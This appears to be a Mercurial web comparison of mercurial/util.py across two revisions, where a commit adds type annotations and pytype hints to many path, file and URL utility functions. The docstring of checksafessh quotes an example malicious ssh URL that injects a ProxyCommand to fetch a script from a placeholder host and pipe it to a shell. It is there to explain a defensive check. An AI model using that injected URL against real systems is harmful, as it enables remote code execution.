comparison mercurial/util.py @ 46645:7711853110b9

typing: add some type annotations to mercurial/util.py

Differential Revision: https://phab.mercurial-scm.org/D10127

46644:77e129be10de

    compression,
    hashutil,
    procutil,
    stringutil,
)

base85 = policy.importmod('base85')
osutil = policy.importmod('osutil')

b85decode = base85.b85decode

unlink = platform.unlink
username = platform.username


def setumask(val):
    ''' updates the umask. used by chg server '''
    if pycompat.iswindows:
        return
    os.umask(val)
    global umask

                    % (k, v, self._digester[k])
                )


try:
    buffer = buffer
except NameError:

    def buffer(sliceable, offset=0, length=None):
        if length is not None:
            return memoryview(sliceable)[offset : offset + length]

    # PyPy runs slower with gc disabled
    nogc = lambda x: x


def pathto(root, n1, n2):
    """return the relative path from one place to another.
    root should use os.sep to separate directories
    n1 should use os.sep to separate directories
    n2 should use "/" to separate directories
    returns an os.sep-separated path.

}
_winreservedchars = b':*?"<>|'


def checkwinfilename(path):
    r"""Check that the base-relative path is a valid filename on Windows.
    Returns None if the path is ok, or a UI string describing the problem.

    >>> checkwinfilename(b"just/a/normal/path")
    >>> checkwinfilename(b"foo/bar/con.xml")

    os.write(ld, info)
    os.close(ld)


def readlock(pathname):
    try:
        return readlink(pathname)
    except OSError as why:
        if why.errno not in (errno.EINVAL, errno.ENOSYS):
            raise

# File system features


def fscasesensitive(path):
    """
    Return true if the given path is on a case-sensitive filesystem

    Requires a path (like /foo/.hg) ending with a foldable final
    directory component.

_fspathcache = {}


def fspath(name, root):
    """Get name in the case stored in the filesystem

    The name should be relative to root, and be normcase-ed for efficiency.

    Note that this function is unnecessary, and should not be

    return b''.join(result)


def checknlink(testfile):
    '''check whether hardlink count reporting works properly'''

    # testfile may be open, so we need a separate file for checking to
    # work around issue2543 (or testfile may get lost on Samba shares)
    f1, f2, fp = None, None, None

            except OSError:
                pass


def endswithsep(path):
    '''Check path ends with os.sep or os.altsep.'''
    return (
        path.endswith(pycompat.ossep)
        or pycompat.osaltsep
        and path.endswith(pycompat.osaltsep)
    )


def splitpath(path):
    """Split path by os.sep.
    Note that this function does not use os.altsep because this is
    an alternative of simple "xxx.split(os.sep)".
    It is recommended to use os.path.normpath() before using this
    function if need."""

        else:
            self.close()


def unlinkpath(f, ignoremissing=False, rmdir=True):
    """unlink and remove the directory if it is empty"""
    if ignoremissing:
        tryunlink(f)
    else:
        unlink(f)

        except OSError:
            pass


def tryunlink(f):
    """Attempt to remove a file, ignoring ENOENT errors."""
    try:
        unlink(f)
    except OSError as e:
        if e.errno != errno.ENOENT:
            raise


def makedirs(name, mode=None, notindexed=False):
    """recursive directory creation with parent mode inheritance

    Newly created directories are marked as "not to be indexed by
    the content indexing service", if ``notindexed`` is specified
    for "write" mode access.

    if mode is not None:
        os.chmod(name, mode)


def readfile(path):
    with open(path, b'rb') as fp:
        return fp.read()


def writefile(path, text):
    with open(path, b'wb') as fp:
        fp.write(text)


def appendfile(path, text):
    with open(path, b'ab') as fp:
        fp.write(text)


class chunkbuffer(object):

    return go


def processlinerange(fromline, toline):
    """Check that linerange <fromline>:<toline> makes sense and return a
    0-based range.

    >>> processlinerange(10, 20)
    (9, 20)

# stray CR is an error.
_eolre = remod.compile(br'\r*\n')


def tolf(s):
    return _eolre.sub(b'\n', s)


def tocrlf(s):
    return _eolre.sub(b'\r\n', s)


def _crlfwriter(fp):
    return transformingwriter(fp, tocrlf)

    def iterfile(fp):
        return fp


def iterlines(iterator):
    for chunk in iterator:
        for line in chunk.splitlines():
            yield line


def expandpath(path):
    return os.path.expanduser(os.path.expandvars(path))


def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
    """Return the result of interpolating items in the mapping into string s.

    r = remod.compile(br'%s(%s)' % (prefix, patterns))
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)


def getport(port):
    """Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.

    _safechars = b"!~*'()+"
    _safepchars = b"/!~*'()+:\\"
    _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match

    def __init__(self, path, parsequery=True, parsefragment=True):
        # We slowly chomp away at path until we have only the path left
        self.scheme = self.user = self.passwd = self.host = None
        self.port = self.path = self.query = self.fragment = None
        self._localpath = True
        self._hostport = b''

        if self.path.startswith(b'/'):
            return True  # POSIX-style
        return False

    def localpath(self):
        if self.scheme == b'file' or self.scheme == b'bundle':
            path = self.path or b'/'
            # For Windows, we need to promote hosts containing drive
            # letters to paths with drive letters.
            if hasdriveletter(self._hostport):

            or self.scheme == b'bundle'
        )


def hasscheme(path):
    return bool(url(path).scheme)


def hasdriveletter(path):
    return path and path[1:2] == b':' and path[0:1].isalpha()


def urllocalpath(path):
    return url(path, parsequery=False, parsefragment=False).localpath()


def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the

            _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
        )


def hidepassword(u):
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = b'***'
    return bytes(u)


def removeauth(u):
    '''remove all authentication information from a url string'''
    u = url(u)
    u.user = u.passwd = None
    return bytes(u)

    (b'b', 1),
)


def sizetoint(s):
    """Convert a space specifier to a byte count.

    >>> sizetoint(b'30')
    30
    >>> sizetoint(b'2.2kb')

    else:
        yield


def _estimatememory():
    """Provide an estimate for the available system memory in Bytes.

    If no estimate can be provided on the platform, returns None.
    """
    if pycompat.sysplatform.startswith(b'win'):
        # On Windows, use the GlobalMemoryStatusEx kernel function directly.
        from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
        from ctypes.wintypes import Structure, byref, sizeof, windll

        class MEMORYSTATUSEX(Structure):
            _fields_ = [
                ('dwLength', DWORD),
                ('dwMemoryLoad', DWORD),

46645:7711853110b9

    compression,
    hashutil,
    procutil,
    stringutil,
)

if pycompat.TYPE_CHECKING:
    from typing import (
        Iterator,
        List,
        Optional,
        Tuple,
        Union,
    )


base85 = policy.importmod('base85')
osutil = policy.importmod('osutil')

b85decode = base85.b85decode

unlink = platform.unlink
username = platform.username


def setumask(val):
    # type: (int) -> None
    ''' updates the umask. used by chg server '''
    if pycompat.iswindows:
        return
    os.umask(val)
    global umask

                    % (k, v, self._digester[k])
                )


try:
    buffer = buffer  # pytype: disable=name-error
except NameError:

    def buffer(sliceable, offset=0, length=None):
        if length is not None:
            return memoryview(sliceable)[offset : offset + length]

    # PyPy runs slower with gc disabled
    nogc = lambda x: x


def pathto(root, n1, n2):
    # type: (bytes, bytes, bytes) -> bytes
    """return the relative path from one place to another.
    root should use os.sep to separate directories
    n1 should use os.sep to separate directories
    n2 should use "/" to separate directories
    returns an os.sep-separated path.

}
_winreservedchars = b':*?"<>|'


def checkwinfilename(path):
    # type: (bytes) -> Optional[bytes]
    r"""Check that the base-relative path is a valid filename on Windows.
    Returns None if the path is ok, or a UI string describing the problem.

    >>> checkwinfilename(b"just/a/normal/path")
    >>> checkwinfilename(b"foo/bar/con.xml")

    os.write(ld, info)
    os.close(ld)


def readlock(pathname):
    # type: (bytes) -> bytes
    try:
        return readlink(pathname)
    except OSError as why:
        if why.errno not in (errno.EINVAL, errno.ENOSYS):
            raise

# File system features


def fscasesensitive(path):
    # type: (bytes) -> bool
    """
    Return true if the given path is on a case-sensitive filesystem

    Requires a path (like /foo/.hg) ending with a foldable final
    directory component.

_fspathcache = {}


def fspath(name, root):
    # type: (bytes, bytes) -> bytes
    """Get name in the case stored in the filesystem

    The name should be relative to root, and be normcase-ed for efficiency.

    Note that this function is unnecessary, and should not be

    return b''.join(result)


def checknlink(testfile):
    # type: (bytes) -> bool
    '''check whether hardlink count reporting works properly'''

    # testfile may be open, so we need a separate file for checking to
    # work around issue2543 (or testfile may get lost on Samba shares)
    f1, f2, fp = None, None, None

            except OSError:
                pass


def endswithsep(path):
    # type: (bytes) -> bool
    '''Check path ends with os.sep or os.altsep.'''
    return bool(  # help pytype
        path.endswith(pycompat.ossep)
        or pycompat.osaltsep
        and path.endswith(pycompat.osaltsep)
    )


def splitpath(path):
    # type: (bytes) -> List[bytes]
    """Split path by os.sep.
    Note that this function does not use os.altsep because this is
    an alternative of simple "xxx.split(os.sep)".
    It is recommended to use os.path.normpath() before using this
    function if need."""

        else:
            self.close()


def unlinkpath(f, ignoremissing=False, rmdir=True):
    # type: (bytes, bool, bool) -> None
    """unlink and remove the directory if it is empty"""
    if ignoremissing:
        tryunlink(f)
    else:
        unlink(f)

        except OSError:
            pass


def tryunlink(f):
    # type: (bytes) -> None
    """Attempt to remove a file, ignoring ENOENT errors."""
    try:
        unlink(f)
    except OSError as e:
        if e.errno != errno.ENOENT:
            raise


def makedirs(name, mode=None, notindexed=False):
    # type: (bytes, Optional[int], bool) -> None
    """recursive directory creation with parent mode inheritance

    Newly created directories are marked as "not to be indexed by
    the content indexing service", if ``notindexed`` is specified
    for "write" mode access.

    if mode is not None:
        os.chmod(name, mode)


def readfile(path):
    # type: (bytes) -> bytes
    with open(path, b'rb') as fp:
        return fp.read()


def writefile(path, text):
    # type: (bytes, bytes) -> None
    with open(path, b'wb') as fp:
        fp.write(text)


def appendfile(path, text):
    # type: (bytes, bytes) -> None
    with open(path, b'ab') as fp:
        fp.write(text)


class chunkbuffer(object):

    return go


def processlinerange(fromline, toline):
    # type: (int, int) -> Tuple[int, int]
    """Check that linerange <fromline>:<toline> makes sense and return a
    0-based range.

    >>> processlinerange(10, 20)
    (9, 20)

# stray CR is an error.
_eolre = remod.compile(br'\r*\n')


def tolf(s):
    # type: (bytes) -> bytes
    return _eolre.sub(b'\n', s)


def tocrlf(s):
    # type: (bytes) -> bytes
    return _eolre.sub(b'\r\n', s)


def _crlfwriter(fp):
    return transformingwriter(fp, tocrlf)

    def iterfile(fp):
        return fp


def iterlines(iterator):
    # type: (Iterator[bytes]) -> Iterator[bytes]
    for chunk in iterator:
        for line in chunk.splitlines():
            yield line


def expandpath(path):
    # type: (bytes) -> bytes
    return os.path.expanduser(os.path.expandvars(path))


def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
    """Return the result of interpolating items in the mapping into string s.

    r = remod.compile(br'%s(%s)' % (prefix, patterns))
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)


def getport(port):
    # type: (Union[bytes, int]) -> int
    """Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.

    _safechars = b"!~*'()+"
    _safepchars = b"/!~*'()+:\\"
    _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match

    def __init__(self, path, parsequery=True, parsefragment=True):
        # type: (bytes, bool, bool) -> None
        # We slowly chomp away at path until we have only the path left
        self.scheme = self.user = self.passwd = self.host = None
        self.port = self.path = self.query = self.fragment = None
        self._localpath = True
        self._hostport = b''

        if self.path.startswith(b'/'):
            return True  # POSIX-style
        return False

    def localpath(self):
        # type: () -> bytes
        if self.scheme == b'file' or self.scheme == b'bundle':
            path = self.path or b'/'
            # For Windows, we need to promote hosts containing drive
            # letters to paths with drive letters.
            if hasdriveletter(self._hostport):

            or self.scheme == b'bundle'
        )


def hasscheme(path):
    # type: (bytes) -> bool
    return bool(url(path).scheme)  # cast to help pytype


def hasdriveletter(path):
    # type: (bytes) -> bool
    return bool(path) and path[1:2] == b':' and path[0:1].isalpha()


def urllocalpath(path):
    # type: (bytes) -> bytes
    return url(path, parsequery=False, parsefragment=False).localpath()


def checksafessh(path):
    # type: (bytes) -> None
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the

            _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
        )


def hidepassword(u):
    # type: (bytes) -> bytes
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = b'***'
    return bytes(u)


def removeauth(u):
    # type: (bytes) -> bytes
    '''remove all authentication information from a url string'''
    u = url(u)
    u.user = u.passwd = None
    return bytes(u)

    (b'b', 1),
)


def sizetoint(s):
    # type: (bytes) -> int
    """Convert a space specifier to a byte count.

    >>> sizetoint(b'30')
    30
    >>> sizetoint(b'2.2kb')

    else:
        yield


def _estimatememory():
    # type: () -> Optional[int]
    """Provide an estimate for the available system memory in Bytes.

    If no estimate can be provided on the platform, returns None.
    """
    if pycompat.sysplatform.startswith(b'win'):
        # On Windows, use the GlobalMemoryStatusEx kernel function directly.
        from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
        from ctypes.wintypes import (  # pytype: disable=import-error
            Structure,
            byref,
            sizeof,
            windll,
        )

        class MEMORYSTATUSEX(Structure):
            _fields_ = [
                ('dwLength', DWORD),
                ('dwMemoryLoad', DWORD),